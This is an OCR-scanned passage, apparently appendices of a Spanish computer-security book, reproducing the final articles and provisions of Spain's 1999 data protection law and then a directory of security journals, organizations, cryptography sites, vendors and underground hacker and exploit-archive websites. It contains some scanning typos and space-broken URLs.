a las transferencias internacionales de datos, asi como en los articulos 46 y 49, en relation con sus 
especfficas competencias seran ejercidas, cuando afecten a ficheros de datos de caracter personal 
creados o gestionados por las Comunidades Autonomas y por la Administration local de su ambito 
territorial, por los organos correspondientes de cada Comunidad, que tendran la consideration de 
autoridades de control, a los que garantizaran plena independencia y objetividad en el ejercicio de 
su cometido. 

2. Las Comunidades Autonomas poclran crear y mantener sus propios registros de ficheros para 
el ejercicio de las competencias que se les reconoce sobre los mismos. 

3 . El Director de la Agencia de Proteccion de Datos podra convocar regularmente a los organos 
correspondientes de las Comunidades Autonomas a efectos de cooperation institutional y coordina- 
tion de criterios o procedimientos de actuation. El Director de la Agencia de Proteccion de Datos 
y los organos correspondientes de las Comunidades Autonomas podran solicitarse mutuamente la 
information necesaria para el cumplimiento de sus funciones. 

Articulo 42. Ficheros de las Comunidades Autonomas en materia de su exclusiva 
competencia. 

1. Cuando el Director de la Agencia de Proteccion de Datos constate que el mantenimiento o 
uso de un determinado fichero de las Comunidades Autonomas contraviene algun precepto de esta 
Ley en materia de su exclusiva competencia podra requerir a la Administration correspondiente 
que se adopten las medidas correctoras que determine en el plazo que expresamente se fije en el 
requerimiento. 

2. Si la Administration Publica correspondiente no cumpliera el requerimiento formulado, el 
Director de la Agencia de Proteccion de Datos podra impugnar la resolution adoptada por aquella 
Administration. 


TITULO VII 

Infracciones y sanciones 


Articulo 43. Responsables. 

1 . Los responsables de los ficheros y los encargados de los tratamientos estaran sujetos al regimen 
sancionador establecido en la presente Ley. 

2. Cuando se trate de ficheros de los que sean responsables las Administraciones Piiblicas se 
estara, en cuanto al procedimiento y a las sanciones, a lo dispuesto en el articulo 46, apartado 2. 

Articulo 44. Tipos de infracciones. 

1. Las infracciones se calificaran como leves, graves o muy graves. 

2 . Son infracciones leves: 

(a) No atender, por motivos formales, la solicitud del interesado de rectification o cancelation de 
los datos personales objeto de tratamiento cuando legalmente proceda. 

(b) No proporcionar la information que solicite la Agencia de Proteccion de Datos en el ejercicio 
de las competencias que tiene legalmente atribuidas, en relation con aspectos no sustantivos 
de la proteccion de datos. 
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(c) No solicitar la inscription del fichero de datos de caracter personal en el Registro General de 
Protection de Datos, cuando no sea constitutive de infraction grave. 

(d) Proceder a la recogida de datos de caracter personal de los propios afectados sin proporcio- 
narles la information que senala el articulo 5 de la presente Ley. 

(e) Incumplir el deber de secreto establecido en el articulo 10 de esta Ley, salvo que constituya 
infraction grave. 

3. Son infracciones graves: 

(a) Proceder a la creation de ficheros de titularidad publica o iniciar la recogida de datos de 
caracter personal para los mismos, sin autorizacion de disposition general, publicada en el 
‘Boletin Oficial del Estado’ o diario oficial correspondiente. 

(b) Proceder a la creation de ficheros de titularidad privada o iniciar la recogida de datos de 
caracter personal para los mismos con finalidades distintas de las que constituyen el objeto 
legitimo de la empresa o entidad. 

(c) Proceder a la recogida de datos de caracter personal sin recabar el consentimiento expreso de 
las personas afectadas, en los casos en que este sea exigible. 

(d) Tratar los datos de caracter personal o usarlos posteriormente con conculcacion de los prin- 
cipios y garantias establecidos en la presente Ley o con incumplimiento de los preceptos de 
protection que impongan las disposiciones reglamentarias de desarrollo, cuando no constituya 
infraction muy grave. 

(e) El impedimento o la obstaculizacion del ejercicio de los derechos de acceso y oposicion y la 
negativa a facilitar la information que sea solicitada. 

(f) Mantener datos de caracter personal inexactos o no efectuar las rectificaciones o cancelaciones 
de los mismos que legalmente procedan cuando resulten afectados los derechos de las personas 
que la presente Ley ampara. 

(g) La vulneracion del deber de guardar secreto sobre los datos de caracter personal incorporados a 
ficheros que contengan datos relativos a la comision de infracciones administrativas o penales, 
Hacienda Publica, servicios financieros, prestacion de servicios de solvencia patrimonial y 
credito, asf como aquellos otros ficheros que contengan un conjunto de datos de caracter 
personal suficientes para obtener una evaluation de la personalidad del individuo. 

(h) Mantener los ficheros, locales, programas o equipos que contengan datos de caracter personal 
sin las clebidas condiciones de seguridad que por via reglamentaria se determinen. 

(i) No remitir a la Agencia de Proteccion de Datos las notificaciones previstas en esta Ley o 
en sus disposiciones de desarrollo, asf como no proporcionar en plazo a la misma cuantos 
documentos e informaciones deba recibir o sean requeridos por aquel a tales efectos. 

(j) La obstruction al ejercicio de la funcion inspectora. 

(k) No inscribir el fichero de datos de caracter personal en el Registro General de Proteccion de 
Datos, cuando haya sido requerido para ello por el Director de la Agencia de Proteccion de 
Datos. 

(l) Incumplir el deber de information que se establece en los artfculos 5, 28 y 29 de esta Ley, 
cuando los datos hayan sido recabados de persona distinta del afectado. 

4. Son infracciones muy graves: 

(a) La recogida de datos en forma enganosa y fraudulenta. 
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(b) La comunicacion o cesion de los datos de caracter personal, fuera de los casos en que esten 
permitidas. 

(c) Recabar y tratar los datos de caracter personal a los que se refiere el apartado 2 del artfculo 7 
cuando no medie el consentimiento expreso del afectado; recabar y tratar los datos referidos 
en el apartado 3 del artfculo 7 cuando no lo disponga una Ley o el afectado no haya consentido 
expresamente, o violentar la prohibition contenida en el apartado 4 del artfculo 7. 

(d) No cesar en el uso ilegftimo de los tratamientos de datos de caracter personal cuando sea 
requerido para ello por el Director de la Agenda de Protection de Datos o por las personas 
titulares del derecho de acceso. 

(e) La transferencia temporal o definitiva de datos de caracter personal que hayan sido objeto de 
tratamiento o hayan sido recogidos para someterlos a dicho tratamiento, con destino a pafses 
que no proporcionen un nivel de protection equiparable sin autorizacion del Director de la 
Agenda de Protection de Datos. 

(f) Tratar los datos de caracter personal de forma ilegftima o con menosprecio de los principios y 
garantfas que les sean de aplicacion, cuando con ello se impida o se atente contra el ejercicio 
de los derechos fundamentales. 

(g) La vulneracion del deber de guardar secreto sobre los datos de caracter personal a que hacen 
referenda los apartados 2 y 3 del artfculo 7, asf como los que hayan sido recabados para fines 
policiales sin consentimiento de las personas afectadas. 

(h) No atender, u obstaculizar de forma sistematica el ejercicio de los derechos de acceso, rectifi- 
cation, cancelation u oposicion. 

(i) No atender de forma sistematica el deber legal de notification de la inclusion de datos de 
caracter personal en un fichero. 

Artfculo 45. Tipo de sanciones. 

1. Las infracciones leves seran sancionadas con multa de 100.000 a 10.000.000 de pesetas. 

2 . Las infracciones graves seran sancionadas con multa de 10.000.000 a 50.000.000 de pesetas. 

3 . Las infracciones muy graves seran sancionadas con multa de 50.000.000 a 100.000.000 de pe- 
setas. 

4 . La cuantfa de las sanciones se graduara atendiendo a la naturaleza de los derechos persona- 
les afectados, al volumen de los tratamientos efectuados, a los beneficios obtenidos, al grado de 
intencionalidad, a la reincidencia, a los danos y perjuicios causados a las personas interesadas y a 
terceras personas, y a cualquier otra circunstancia que sea relevante para determinar el grado de 
antijuridicidad y de culpabilidad presentes en la concreta actuation infractora. 

5 . Si, en razon de las circunstancias concurrentes, se apreciara una cualificada disminucion de la 
culpabilidad del imputado o de la antijuridicidad del hecho, el organo sancionador establecera la 
cuantfa de la sancion aplicando la escala relativa a la clase de infracciones que preceda inmediata- 
mente en gravedad a aquella en que se integra la considerada en el caso de que se trate. 

6. En ningun caso podra imponerse una sancion mas grave que la fijada en la Ley para la clase 
de infraction en la que se integre la que se pretenda sancionar. 

7 . El Gobierno actualizara periodicamente la cuantfa de las sanciones de acuerclo con las varia- 
ciones que experimenten los Indices de precios. 

Artfculo 46. Infracciones de las Administraciones Publicas. 
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1. Cuando las infracciones a que se refiere el artlculo 44 fuesen cometidas en ficheros de los que 
sean responsables las Administraciones Publicas, el Director de la Agenda de Protection de Datos 
dictara una resolution estableciendo las medidas que procede adoptar para que cesen o se corrijan 
los efectos de la infraction. 

Esta resolution se notificara al responsable del fichero, al organo del que dependa jerarquicamente 
y a los afectados si los hubiera. 

2 . El Director de la Agenda podra proponer tambien la initiation de actuaciones disciplinarias, 
si procedieran. El procedimiento y las sanciones a aplicar seran las establecidas en la legislation 
sobre regimen disciplinario de las Administraciones Publicas. 

3 . Se deberan comunicar a la Agenda las resoluciones que recaigan en relation con las medidas 
y actuaciones a que se refieren los apartados anteriores. 

4 . El Director de la Agenda comunicara al Defensor del Pueblo las actuaciones que efectue y las 
resoluciones que dicte al amparo de los apartados anteriores. 

Articulo 47. Prescription. 

1. Las infracciones muy graves prescribiran a los tres anos, las graves a los dos anos y las leves 
al ano. 

2 . El plazo de prescription comenzara a contarse desde el dfa en que la infraction se hubiera 
cometido. 

3 . Interrumpira la prescription la initiation, con conocimiento del interesado, del procedimiento 
sancionador, reanudandose el plazo de prescription si el expediente sancionador estuviere paralizado 
durante mas de seis meses por causas no imputables al presunto infractor. 

4 . Las sanciones impuestas por faltas muy graves prescribiran a los tres anos, las impuestas por 
faltas graves a los dos anos y las impuestas por faltas leves al ano. 

5 . El plazo de prescription de las sanciones comenzara a contarse desde el dia siguiente a aquel 
en que adquiera firmeza la resolution por la que se impone la sancion. 

6. La prescription se interrumpira por la initiation, con conocimiento del interesado, del proce- 
dimiento de ejecucion, volviendo a transcurrir el plazo si el mismo esta paralizado durante mas de 
seis meses por causa no imputable al infractor. 

Articulo 48. Procedimiento sancionador. 

1. Por via reglamentaria se establecera el procedimiento a seguir para la determination de las 
infracciones y la imposition de las sanciones a que hace referencia el presente Titulo. 

2. Las resoluciones de la Agencia de Protection de Datos u organo correspondiente de la Comu- 
nidad Autonoma agotan la via administrativa. 

Articulo 49. Potestad de inmovilizacion de ficheros. 

En los supuestos, constitutivos de infraction muy grave, de utilization o cesion ilicita de los datos 
de caracter personal en que se impida gravemente o se atente de igual modo contra el ejercicio de 
los derechos de los ciudadanos y el libre desarrollo de la personalidad que la Constitution y las 
leyes garantizan, el Director de la Agencia de Protection de Datos podra, ademas de ejercer la 
potestad sancionadora, requerir a los responsables de ficheros de datos de caracter personal, tanto 
de titularidad publica como privada, la cesacion en la utilization o cesion ilicita de los datos. 

Si el requerimiento fuera desatendido, la Agencia de Protection de Datos podra, mediante resolution 
motivada, inmovilizar tales ficheros a los solos efectos de restaurar los derechos de las personas 
afectadas. 


DISPOSICIONES ADICIONALES 
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Primera. Ficheros preexistentes. 

Los ficheros y tratamientos automatizados, inscritos o no en el Registro General de Proteccion de 
Datos deberan adecuarse a la presente Ley Organica dentro del plazo de tres anos, a contar desde 
su entrada en vigor. En dicho plazo, los ficheros de titularidad privada deberan ser comunicados 
a la Agenda de Proteccion de Datos y las Administraciones Publicas, responsables de ficheros de 
titularidad piiblica, deberan aprobar la pertinente disposicion de regulation del fichero o adaptar 
la existente. 

En el supuesto de ficheros y tratamientos no automatizados, su adecuacion a la presente Ley 
Organica y la obligation prevista en el parrafo anterior debera cumplimentarse en el plazo de doce 
ahos a contar desde el 24 de octubre de 1995, sin perjuicio del ejercicio de los derechos de acceso, 
rectification y cancelation por parte de los afectados. 

Segunda. Ficheros y Registro de Poblacion de las Administraciones Phblicas. 

1. La Administration General del Estado y las Administraciones de las Comunidades Autonomas 
podran solicitar al Instituto Nacional de Estadistica, sin consentimiento del interesado, una copia 
actualizada del fichero formado con los datos del nombre, apellidos, domicilio, sexo y fecha de 
nacimiento que constan en los padrones municipales de habitantes y en el censo electoral corres- 
pondientes a los territories donde ejerzan sus competencias, para la creation de ficheros o registros 
de poblacion. 

2. Los ficheros o registros de poblacion tendran como finalidad la comunicacion de los distintos 
organos de cada administration piiblica con los interesados residentes en los respectivos territories, 
respecto a las relaciones juridico administrativas clerivadas de las competencias respectivas de las 
Administraciones Publicas. 

Tercera. Tratamiento de los expedientes de las derogadas Leyes de Vagos y Ma- 
leantes y de Peligrosidad y Rehabilitation Social. 

Los expedientes especificamente instruidos al amparo de las derogadas Leyes de Vagos y Malean- 
tes, y de Peligrosidad y Rehabilitation Social, que contengan datos de cualquier indole susceptibles 
de afectar a la seguridad, al honor, a la intimidad o a la imagen de las personas, no podran ser 
consultados sin que medie consentimiento expreso de los afectados, o hayan transcurrido 50 anos 
desde la fecha de aquellos. 

En este ultimo supuesto, la Administration General del Estado, salvo que haya constancia expresa 
del fallecimiento de los afectados, ponclra a disposicion del solicitante la documentation, suprimiendo 
de la misma los datos aludidos en el parrafo anterior, mediante la utilization de los procedimientos 
tecnicos pertinentes en cada caso. 

Cuarta. Modification del artfculo 112.4 de la Ley General Tributaria. El apartado 
cuarto del articulo 112 de la Ley General Tributaria pasa a tener la siguiente redaction: 

‘ 4 ■ La cesion de aquellos datos de caracter personal, objeto de tratamiento que se debe efectuar a 
la Administracion tributaria conforme a lo dispuesto en el articulo 111, en los apartados anteriores 
de este articulo o en otra norma de rango legal, no requerira el consentimiento del afectado. En 
este ambito tampoco sera de aplicacion lo que respecto a las Administraciones Piiblicas establece el 
apartado 1 del articulo 21 de la Ley Organica de Proteccion de Datos de caracter personal'. 

Quinta. Competencias del Defensor del Pueblo y organos autonomicos semejantes. 

Lo dispuesto en la presente Ley Organica se entiende sin perjuicio de las competencias del Defensor 
del Pueblo y de los organos analogos de las Comunidades Autonomas. 

Sexto. Modification del artfculo 24.3 de la Ley de Ordenacion y Supervision de los 
Seguros Privados. 

Se modifica el articulo 24.3, parrafo 2° de la Ley 30/1995, de 8 de noviembre, de Ordenacion y 
Supervision de los Seguros Privados con la siguiente redaction: 

‘Las entidades aseguradoras podran establecer ficheros comunes que contengan datos de caracter 
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personal para la liquidation de siniestros y la colaboracion estadistico actuarial con la finalidad de 
permitir la tarificacion y selection de riesgos y la elaboration de estudios de tecnica aseguradora. 
La cesion de datos a los citados ficheros no requerira el consentimiento previo del afectado, pero si 
la comunicacion al mismo de la posible cesion de sus datos personates a ficheros comunes para los 
fines sehalados con expresa indication del responsable para que se puedan ejercitar los derechos de 
acceso, rectification y cancelation previstos en la Ley. 

Tambien podran establecerse ficheros comunes cuya finalidad sea prevenir el fraude en el seguro 
sin que sea necesario el consentimiento del afectado. No obstante, sera necesaria en estos casos la 
comunicacion al afectado, en la primera introduction de sus datos, de quien sea el responsable del 
fichero y de las formas de ejercicio de los derechos de acceso, rectification y cancelation. 

En todo caso, los datos relativos a la salud solo podran ser objeto de tratamiento con el consenti- 
miento expreso del afectado. ’ 

DISPOSICIONES TRANSITORIAS 

Primera. Tratamientos creados por Convenios Internationales. 

La Agenda de Protection de Datos sera el organismo competente para la protection de las per- 
sonas fisicas en lo que respecta al tratamiento de datos de caracter personal respecto de los trata- 
mientos establecidos en cualquier Convenio International del que sea parte Espana que atribuya a 
una autoridad national de control esta competencia, mientras no se cree una autoridad diferente 
para este cometido en desarrollo del Convenio. 

Segunda. Utilization del Censo Promotional. 

Reglamentariamente se desarrollaran los procedimientos de formation del Censo Promocional, 
de oposicion a aparecer en el mismo, de puesta a disposition de sus solicitantes, y de control de 
las listas difundidas. El Reglamento establecera los plazos para la puesta en operation del Censo 
Promocional. 

Tercera. Subsistencia de normas preexistentes. 

Hasta tanto se lleven a efecto las previsiones de la Disposition Final Primera de esta Ley, conti- 
nuaran en vigor, con su propio rango, las normas reglament arias existentes y, en especial, los Reales 
Decretos 428/1993, de 26 de marzo, 1332/1994, de 20 de junio y 994/1999, de 11 de junio, en cuanto 
no se opongan a la presente Ley. 

DISPOSICION DEROGATORIA 

Unica. 

Queda derogada la Ley Organica 5/1992, de 29 de octubre, de regulation del tratamiento auto- 
matizado de los datos de caracter personal. 

DISPOSICIONES FINALES 

Primera. Habilitacion para el desarrollo reglamentario. 

El Gobierno aprobara, o modificara, las disposiciones reglamentarias necesarias para la aplicacion 
y desarrollo de la presente Ley. 

Segunda. Preceptos con caracter de Ley Or dinar ia. 

Los tftulos IV, VI excepto el ultimo inciso del parrafo 4 del articulo 36 y VII de la presente Ley, 
la Disposition Adicional Cuarta, la Disposition Transitoria Primera y la Final Primera, tienen el 
caracter de Ley Ordinaria. 

Tercera. Entrada en vigor. 

La presente Ley entrara en vigor en el plazo de un mes, contado desde su publication en el Boletfn 
Oficial del Estado. 
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Recursos de interes en INet 

C.l Publicaciones periodicas 

• Journal of Computer Security: http : / /www . j compsec . mews . org/ 

• Disaster Recovery Journal: http://www.drj.com/ 

• Computer & Security: http://www.elsevier.nl/locate/inca/4058771 

• Operating Systems Security Issues: http://www.jjtc.com/Security/os.htm 

• International Journal of Forensic Computing: http://www.forensic-computing.com/ 

• Journal of Internet Security: http : //www . csci . ca/ j isec/ 

• Computer and Communications Security Reviews: 

http : //www . anbar . co . uk/computing/ccsr/ archive . html 

• Info Security News: http://www.infosecnews.com/ 

• Computer Forensics Online: http://www.shk-dplc.com/cfo/ 

• Information Security Magazine: http://www.infosecuritymag.com/ 

• Security Advisor Magazine: http://www.advisor.com/wHome.nsf/wPages/SAmain/ 

• Security Management Magazine: http://www.securitymanagement.com/ 

• Phrack Underground Magazine: http://www.phrack.com/ 

• Security Magazine: http://www.secmag.com/ 

• 2600 Magazine: http://www.2600.com/ 

• Linux Journal: http://www.ssc.com/lj/index.html 

• UnixWorlcl Online Magazine: http://www.wcmh.com/uworld/ 

• Infowar: http://www.infowar.com/ 

• Linux Gazette: ftp://ftp.rediris.es/software/linux/lg/ 

• Internet Security Review Magazine: http://www.isr.net/ 

• UNIX Review: http://www.unixreview.com/ 

• Sun Expert: http://www.netline.com/sunex/ 
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• Sun World: http://www.sunworld.com/ 

• Linux World: http://www.linuxworld.com/ 

• SysAdmin: http://www.ssimag.com/ 

• SCO World Magazine: http://www.scoworld.com/ 

• RS/Magazine: http://www.netline.com/rs/ 

• Unix Guru Universe: http://www.polaris.net/ugu/ 

• Security Alert For Enterprise Resources http://siamrelay.com/safer/ 

• ACM Trans, on Information and System Security: http://www.acm.org/pubs/tissec/ 

• Cryptologia: 

http : //www . dean . usma . edu/math/ resource/ pubs/ crypt olo/ index . htm 

• Journal of Cryptology: http://www.iacr.org/jofc/jofc.html 

• Journal of Computer Security: http : / /www . j compsec . mews . org/ 

• The Privacy Forum: http://www.vortex.com/privacy.html 

• IEEE-CS TC on Security and Privacy: 

http : //www. itd.nrl .navy.mil/ITD/5540/ieee/cipher/ 

• Computer Underground Digest: http://sun.soci.niu.edu/~cudigest/ 

• Net Watchers: http://www.ionet.net/~mdyer/netwatch.shtml 

• Journal for Internet Banking and Commerce: http://www.arraydev.com/commerce/JIBC/ 

• Data Security Letter: http://ww.tis.com/Home/DataSecurityLetter.html 

• Journal of Infrastructural Warfare: http : / / www . iwar . org/ 

C.2 Organizaciones 

C.2.1 Profesionales 

• USENIX: http : //www. usenix. org/ 

• CERT : http : / /www . cert . org/ 

• NCSA: http://www.ncsa.org/ 

• AECSI: http : //aecsi . rediris . es/ 

• SANS Institute: http://www.sans.org/ 

• ICSA: http://www.icsa.net/ 

• ISC2 Organization: http://www.isc2.org/ 

• The Computer Security Institute: http://www.gocsi.com/ 

• IEEE Computer Society: http://www.computer.org/ 

• IEEE-CS TC on Security and Privacy: http://www.itd.nrl.navy.mil/ITD/5540/ieee/ 

• ACM SIGSAC: http://www.acm.org/sig_hp/SIGSAC.html 
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• High-Tech Crime Investigators Association: http://htcia.org/ 

• FIRST: http://www.first.org/first/ 

• IACR: http : //www. iacr . org/ 

• ACSA: http://www.acsac.org/ 

• Association for Biometrics: http://www.afb.org.uk/ 

• Smart Card Forum: http://www.smartcardforum.org/ 

C.2.2 Gubernamentales/militares 

• Computer Security Information: http://www.alw.nih.gov/Security/security.html 

• The NSA/CSS INFOSEC Page: http://www.nsa. gov:8080/isso/ 

• NIST Computer Security Resource Clearinghouse: http://csrc.nist.gov/ 

• NIST Computer Systems Laboratory: http://www.ncsl.nist.gov/ 

• Computer Security Technology Center: http://ciac.llnl.gov/cstc/ 

• (CCIPS) - Computer Crime and Intellectual Property Section: 
http : / / www . usdo j . gov/ criminal/ cybercrime/ 

• DoD Network Information Center: http://nic.ddn.mil/ 

• DoD Security Institute: http://www.dtic.mil/dodsi/ 

• FBI Computer Crime Squad: http://www.fbi.gov/compcrim.htm 

• Defense Information Systems Agency: http://www.disa.mil/ 

• Cl AC Security Website: http://ciac.llnl.gov/ 

• National Security Agency: http://www.nsa.gov/ 

• Air Force CERT: http://afcert.kelly.af.mil/ 

• President's Commission on Critical Infrastructure Protection: http://www.pccip.gov/ 

• Australian Defense Signals Directorate (DSD): http://www.dsd.gov.au/ 

• UK General Communications Headquarters (GCHQ): http://www.gchq.gov.uk/ 

• UK Communications Electronic Security Group (CESG): http://www.cesg.gov.uk/ 

• NZ Government Communications Security Bureau: http://www.gcsb.govt.nz/ 

C.2.3 Universidades/educacion 

• Information Security Research Centre, Queensland University of Technology (AU): 

http : //www. isrc . qut . edu. au/ 

• Centre for Computer Security Research, University of Wollogong (AU): 

http : //www . cs . uow . edu . au/ ccsr/ 

• Cryptography and Computer Security Group, Brussels Free University (BE): 

http : //www . ulb . ac . be/ di/scsi/def scsi . html 
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• Cryptology Group, Universite Catholique de Louvain (BE): 

http : //www . dice . ucl . ac . be/ crypto/crypto . html 

• Computer Security and Industrial Cryptography Group, Katholieke Universiteit Leuven (BE) : 

http : //www. esat .kuleuven. ac .be/ cosic/cosic .html 

• Computer Security Group, Carleton University (CA): 

http : //www. scs . carleton. ca/~csgs/resources/crypt .html 

• Laboratory for Theoretical and Quantum Computing, University of Montreal (CA) : 

http : //www. iro .umontreal . ca/labs/theorique/ index_en.html 

• Information Security and Cryptography Research Group, ETH Zurich (CH): 

http : //www. inf . ethz . ch/department/TI/um/group . html 

• Crypto Group, Katholieke Universiteit Leuven (DE): 
http : //www. esat .kuleuven. ac .be/ cosic/cosic .html 

• E.I.S.S., Karlsruhe Universiteit (DE): 

http : / / iaks-www. ira.uka.de/ indexe .html 

• Security in Computer Networks Group, Hildesheim Universiteit (DE): 

http : //www. informatik.uni-hildesheim.de/~sirene/ 

• Groupe de Recherche en Complexity et Cryptographie, Ecole Normale Superieure (FR): 

http : / / www . ens . f r/~grecc/ index_en . html 

• Cryptographic Research Center, FER Zagreb (Croatia, HR): 

http : //pgp . rasip .fer.hr/ 

• TAO Yokohama Research Center (JP): 

http : // www . yokohama .tao.or.jp/ 

• Information & Communications Security Laboratory, Sung Kyun Kwan University (KR): 

http : / / dosan . skku . ac . kr/ 

• Area de seguridad en computo, UN AM (MX): 

http : // www . as c . unam . mx/ 

• Laboratory for Computer Security and Security Informatics, University of Stockholm (SE): 

http : //www. dsv. su. se/research/ seclab/seclab .html 

• Information Security Group, University of London (UK): 

http : //isg . rhbnc . ac . uk/ISG_Home_Page . html 

• Computer Security Group, Cambridge University (UK): 

http : //www. cl . cam. ac .uk/Research/Security/ 

• Computer Security Research Centre, London School of Economics & Political Science (UK) : 

http : / / csrc . lse . ac . uk/ 

• COAST Project, Purdue University (USA): 
http : / / www . cerias . purdue . edu/ coast/ 

• Computer Security Research Laboratory, University of California (USA): 

http : / / seclab . cs . ucdavis . edu/ 

• Network Security Center, University of Chicago (USA): 

http : / / security . uchicago . edu/ 
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• Secure Internet Programming Laboratory, Princeton University (USA): 

http : / / www . cs . princeton . edu/sip/ 

• Information Systems Audit and Control Research, CalPoly Pomona (USA): 

http : / / www . csupomona . edu/bus/ cis/ isworld . html 

• Crypto Research, Worchester Polytechnic (USA): 

http : //ece . wpi . edu/Research/crypt . html 

• Computer Security Research, Iowa State University (USA): 

http : //vulcan . ee . iastate . edu/ issl . html 

• Defense Science Study Group, University of Virginia (USA): 

http : //www . cs . Virginia. edu/~robins/dssg/ 

• Cyberspace Policy Institute, George Washington University (USA): 

http : //www . cpi . seas . gwu . edu/ 

• Computer Security Research, University of Idaho (USA): 

http : //www . cs . uidaho . edu/~f rincke/ research/ uidahoSecurity . html 

• International Cryptography Institute, Georgetown (USA): 
http : //www . cosc . georgetown . edu/~denning/ crypto/ 

• Security Technology Research Group, Univ. Maryland Baltimore Campus (USA): 

ftp : //ftp . cs . umbc . edu/ pub/WWW/ crypto/index .html 

• Center for Secure Information Systems, George Mason University (USA): 

http : //www. isse . gmu. edu/~csis/ 

• Center for Cryptography Computer and Network Security, University of Wisconsin (USA): 

http : //www . cs . uwm. edu/~cccns/ 

• Cryptography and Information Security Group, MIT (USA): 
http : //theory. lcs .mit . edu/~cis/ 

• Security Tools, Texas A&M University (USA): 

http : //net . tamu . edu/ pub/ security/TAMU/ 


C.3 Criptografia 

• The Internet Guide to Cryptography: http://www.enter.net/~chronos/cryptolog.html 

• Beginner's Guide to Cryptography: http://www.ftech.net/~monark/crypto/main.hts 

• A-Z Cryptology!: http://www.achiever.com/freehmpg/cryptology/crypto.html 

• European Cryptography Resources: http://www.iki.fi/avs/eu-crypto.html 

• Cryptography Research: http : / / www . cryptography . com/ 

• Cryptolinks: http://www.cs.umbc.edu/~stephens/other.html 

• International Cryptography: http://www.cs.hut.fi/ssh/crypto/ 

• Steganography and Digital Watermarking: 

http : //www. patriot .net/users/johnson/html/neil/sec/steg.html 

• Cryptography and Computer Security: http://www.ulb.ac.be/di/scsi/defscsi.html 

• CryptoWeb: http://itrc.on.ca/CryptoWeb/ 
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• Cryptography Technical Report Server: http://www.itribe.net/CTRS/ 

• Ron Ri vest Home Page: http://theory.lcs.mit.edu/~rivest/ 

• Steganography Info and Archive: http://www.iquest.net/~mrmil/stego.html 

• Shortcut to Cryptography: http://www.subject.com/crypto/crypto.html 

• Steganography and Digital Watermarking: http://www.jjtc.com/Steganography/ 

• SKIP - IP level encryption: http://www.skip.org/ 

• Cyphernomicon: http : //www. oberlin. edu/~brchkind/cyphernomicon/ 

• Cypherpunks 's Home Page: http : //www . csua . berkeley . edu/cypherpunks/Home . html 

• Cryptography for encryption, signatures and authentication: 

http : //www. ozemail . com. au/~f irstpr/ crypt o/index .html 

• The Cryptography Project: http://www.cosc.georgetown.edu/~denning/crypto/ 

• Quadralay Cryptography Archive: http://www.austinlinks.com/Crypto/ 

C.4 Seguridad general 

• Computer Security Portal: http://www.infosyssec.net/ 

• Security Paradigm Information Protection: http://www.securityparadigm.com/ 

• CyberSeguridad: http://www.cyberseguridad.org/ 

• The Encyclopaedia of Computer Security: http://www.itsecurity.com/ 

• SecurityFocus: http://www.securityfocus.com/ 

• PacketStorm: http://packetstorm.securify.com/ 

• SecurityPortal: http : // www . secur ityportal . com/ 

• Security Watch: http://www.securitywatch.com/ 

• NetSecurity: http://net-security.org/ 

C.5 Compamas y grupos de desarrollo 

C.5.1 Unix 

• Sun Microsystems: http://www.sun.com/ 

• Hewlett Packard: http://www.hp.com/ 

• Slackware: http://www.slackware.org/ 

• Debian: http://www.debian.org/ 

• Red Hat Software, Inc.: http://www.redhat.com/ 

• QNX Software Systems Ltd.: http://www.qnx.com/ 

• S.u.S.E.: http://www.suse.com/ 

• Caldera Systems, Inc.: http://www.calderasystems.com/ 
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• Digital Equipment Corporation: http://www.digital.com/ 

• Berkeley Software Design, Inc.: http://www.bsdi.com/ 

• The FreeBSD Project: http://www.freebsd.org/ 

• The OpenBSD Project: http://www.openbsd.org/ 

• The NetBSD Project: http://www.netbsd.org/ 

• The TrustedBSD Project: http://www.trustedbsd.org/ 

• System V: http://www.systemv.com/ 

• Santa Cruz Operation: http://www.sco.com/ 

• Silicon Graphics, Inc.: http://www.sgi.com/ 

• Cray Research, Inc.: http://www.cray.com/ 

• Be, Inc.: http://www.be.com/ 

• Minix: http://www.cs.vu.nl/~ast/minix.html 

• Lynx Real-Time Systems Inc.: http://www.lynx.com/ 

• NeXT, Inc.: http://www.next.com/ 

• Convex Computer Corp.: http://www.convex.com/ 

• Unisys: http://www.unisys.com/ 

• Acorn Computer Group pic.: http://www.acorn.co.uk/ 

C.5.2 General 

• RSA Data Security, Inc.: http://www.rsa.com/ 

• Counterpane Systems: http : / /www . counterpane . com/ 

• Cisco Systems: http://www.cisco.com/ 

• 3Com Corporation: http://www.3com.com/ 

• Digicrime, Inc. http://www.digicrime.com/ 

• Checkpoint Software Technologies: http://www.checkpoint.com/ 

• IriScan: http://www.iriscan.com/ 

• EyeDentify: http://www.eyedentify.com/ 

• DataCard: http://www.datacard.com/ 

• Security Defense Systems: http://www.securitydefense.com/ 

• Axent Technologies: http://www.axent.com/ 

• Bellcore Security Products: http://www.bellcore.com/SECURITY/security.html 

• Internet Security Systems, Inc.: http://www.iss.net/ 

• Network Flight Recorder, Inc.: http://www.nfr.net/ 

• SecureWare, Inc.: http://www.secureware.com/ 
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• Lucent Technologies: http : // www . lucent . com/ 

• Network Associates, Inc.: http://www.nai.com/ 

• Security Dynamics Technologies: http://www.securid.com/ 

• VeriSign, Inc.: http://www.verisign.com/ 

• Trusted Information Systems, Inc.: http://www.tis.com/ 

• CryptoCard Corp.: http://www.cryptocard.com/ 

• PGP, Inc.: http://www.pgp.com/ 

• ViaCrypt: http://www.viacrypt.com/ 

C.6 Sitios underground 

C.6.1 Grupos 

• LOpht Heavy Industries: http : / / www . lOpht . com/ 

• [THC] - The Hacker 's Choice: http://thc.pimmel.com/ 

• The Cult of the Dead Cow: http://www.cultdeadcow.com/ 

• Chaos Computer Club: http://www.ccc.de/ 

• IHispahack: http://hispahack.ccc.de/ 

• Underground ORG: http://underground.org/ 

• Rhino9 - Security Research Team: http://rhino9.technotronic.com/ 

• rOOt: http://www.rOOt.org/ 

• Els Apostols: http://www.apostols.org/ 

• HERT Computer Security Research: http://www.hert.org/ 

• Blackbrains Team: http://www.blackbrains.org/ 

• 8LGM Group: http://www.81gm.org/ 

• Rhino9: Security Research Team: http://207.98.195.250/ 

C.6. 2 Exploits y vulnerabilidades 

• RootShell: http://www.rootshell.com/ 

• No more secrets: http : //underground . org/ 

• Exploits and Tools: http://www.hha.net/hha/exploits/ 

• AntiOnline Hacking and Hacker Site: http://www.antionline.com/ 

• Insecure ORG: http://www.insecure.org/ 

• Hackers HomePage: http://www.hackershomepage.com/ 
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C.7 Recursos en Espana 

• Kriptopolis: http://www.kriptopolis.com/ 

• Criptonomicon: http://www.iec.csic.es/criptonomicon/ 

• Guardia Civil: http://www.guardiacivil.org/ 

• AECSI: http://aecsi.rediris.es/ 

• esCERT: http://escert.upc.es/ 

